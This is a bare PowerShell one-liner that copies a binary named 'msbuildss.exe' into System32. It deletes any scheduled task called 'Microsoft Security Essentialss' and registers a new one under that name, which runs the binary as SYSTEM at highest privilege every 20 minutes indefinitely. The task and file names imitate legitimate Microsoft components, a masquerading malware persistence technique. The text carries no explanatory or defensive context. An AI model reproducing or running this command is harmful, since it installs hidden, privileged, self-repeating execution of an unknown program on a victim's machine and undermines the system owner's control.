copy-item msbuildss.exe -Destination $env:System32 -Force; Get-ScheduledTask -TaskName "Microsoft Security Essentialss"; Unregister-ScheduledTask -TaskName "Microsoft Security Essentialss" -Confirm:$false; $action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\System32\msbuildss.exe"; $trigger = New-ScheduledTaskTrigger -RepetitionInterval (New-TimeSpan -Minutes 20) -RepeatIndefinitely -Once -At (Get-Date); $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest; Register-ScheduledTask -TaskName "Microsoft Security Essentialss" -Action $action -Trigger $trigger -Principal $principal;